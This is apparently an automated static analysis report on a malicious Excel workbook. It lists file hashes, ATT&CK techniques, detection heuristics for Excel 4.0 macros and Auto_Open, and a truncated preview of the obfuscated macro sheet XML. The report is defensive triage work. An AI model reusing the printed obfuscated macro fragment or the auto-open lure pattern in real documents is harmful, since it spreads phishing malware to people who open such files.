Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 15784e89de89385d…

MALICIOUS

Office (OOXML)

20.5 KB Created: 2021-04-20 11:33:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: a2c93391d306a768a56ea37cc2f4a789 SHA-1: 1f9d53c40a5d21180c72e39834b60f721803db34 SHA-256: 15784e89de89385d4985d695170cae8b2efc6b95a65c8d75c200a721190c9f55
122 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is an Office Open XML document containing Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The document body prompts the user to 'Enable Editing' and 'Enable Content', a common lure for macro-enabled documents. The presence of an Auto_Open defined name suggests that the macros will execute automatically upon opening, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 13886 bytes
SHA-256: 8ce53e3401a9d874343c53065f556fab8c74ad9207b9c130adea15de08ba4a35
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{804F8D4A-89C9-4D41-85D0-F0F1D34EFAE0}"><dimension ref="A49:AI119"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.25"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.25"><c r="A50" t="b"><f bx="1">mCvIlNfkfVUR=A49</f><v>0</v></c><c r="C50"><v>-413</v></c><c r="D50" s="1" t="s"><v>0</v></c><c r="E50" s="1" t="s"><v>16</v></c><c r="F50" s="1" t="s"><v>27</v></c><c r="G50" s="1" t="s"><v>29</v></c><c r="H50" s="1" t="s"><v>32</v></c><c r="I50" s="1" t="s"><v>35</v></c><c r="J50" s="1" t="s"><v>41</v></c><c r="K50" s="1" t="s"><v>50</v></c><c r="L50" s="1" t="s"><v>32</v></c><c r="M50" s="1" t="s"><v>58</v></c><c r="N50" s="1" t="s"><v>41</v></c><c r="O50" s="1" t="s"><v>50</v></c><c r="P50" s="1" t="s"><v>68</v></c><c r="Q50" s="1" t="s"><v>90</v></c><c r="R50" s="1" t="s"><v>95</v></c><c r="S50" s="1" t="s"><v>99</v></c><c r="T50" s="1" t="s"><v>102</v></c><c r="U50" s="1" t="s"><v>79</v></c><c r="V50" s="1" t="s"><v>29</v></c><c r="W50" s="1" t="s"><v>58</v></c><c r="X50" s="1" t="s"><v>99</v></c><c r="Y50" s="1" t="s"><v>134</v></c><c r="Z50" s="1" t="s"><v>136</v></c><c r="AA50" s="1" t="s"><v>153</v></c><c r="AB50" s="1" t="s"><v>155</v></c><c r="AC50" s="1" t="s"><v>159</v></c><c r="AD50" s="1" t="s"><v>164</v></c><c r="AE50" s="1" t="s"><v>81</v></c><c r="AF50" s="1" t="s"><v>168</v></c><c r="AG50" s="1" t="s"><v>174</v></c><c r="AH50" s="1" t="s"><v>177</v></c><c r="AI50" s="1" t="s"><v>182</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.25"><c r="C51"><v>407</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.25"><c r="A52" t="b"><f>WHILE(AND(NOT(mCvIlNfkfVUR&gt;=32)))</f><v>0</v></c><c r="C52"><v>-842</v></c></row><row r="53" spans="1:35" x14ac:dyDescent="0.25"><c r="C53"><v>352</v></c><c r="D53" s="1" t="s"><v>1</v></c><c r="E53" s="1" t="s"><v>17</v></c><c r="F53" s="1" t="s"><v>28</v></c><c r="G53" s="1" t="s"><v>30</v></c><c r="H53" s="1" t="s"><v>33</v></c><c r="I53" s="1" t="s"><v>36</v></c><c r="J53" s="1" t="s"><v>42</v></c><c r="K53" s="1" t="s"><v>51</v></c><c r="L53" s="1" t="s"><v>33</v></c><c r="M53" s="1" t="s"><v>3</v></c><c r="N53" s="1" t="s"><v>60</v></c><c r="O53" s="1" t="s"><v>64</v></c><c r="P53" s="1" t="s"><v>69</v></c><c r="Q53" s="1" t="s"><v>91</v></c><c r="R53" s="1" t="s"><v>96</v></c><c r="S53" s="1" t="s"><v>100</v></c><c r="T53" s="1" t="s"><v>103</v></c><c r="U53" s="1" t="s"><v>111</v></c><c r="V53" s="1" t="s"><v>118</v></c><c r="W53" s="1" t="s"><v>121</v></c><c r="X53" s="1" t="s"><v>133</v></c><c r="Y53" s="1" t="s"><v>135</v></c><c r="Z53" s="1" t="s"><v>137</v></c><c r="AA53" s="1" t="s"><v>154</v></c><c r="AB53" s="1" t="s"><v>156</v></c><c r="AC53" s="1" t="s"><v>160</v></c><c r="AD53" s="1" t="s"><v>165</v></c><c r="AE53" s="1" t="s"><v>82</v></c><c r="AF53" s="1" t="s"><v>169</v></c><c r="AG53" s="1" t="s"><v>175</v></c><c r="AH53" s="1" t="s"><v>178</v></c><c r="AI53" s="1" t="s"><v>183</v></c></row><row r="54" spans="1:35" x14ac:dyDescent="0.25"><c r="C54"><v>264</v></c></row><row r="55" spans="1:35" x14ac:dyDescent="0.25"><c r="C55"><v>-889</v></c></row><row r="56" spans="1:35" x14ac:dyDescent="0.25"><c r="A56" t="b"><f bx="1">jO
... (truncated)

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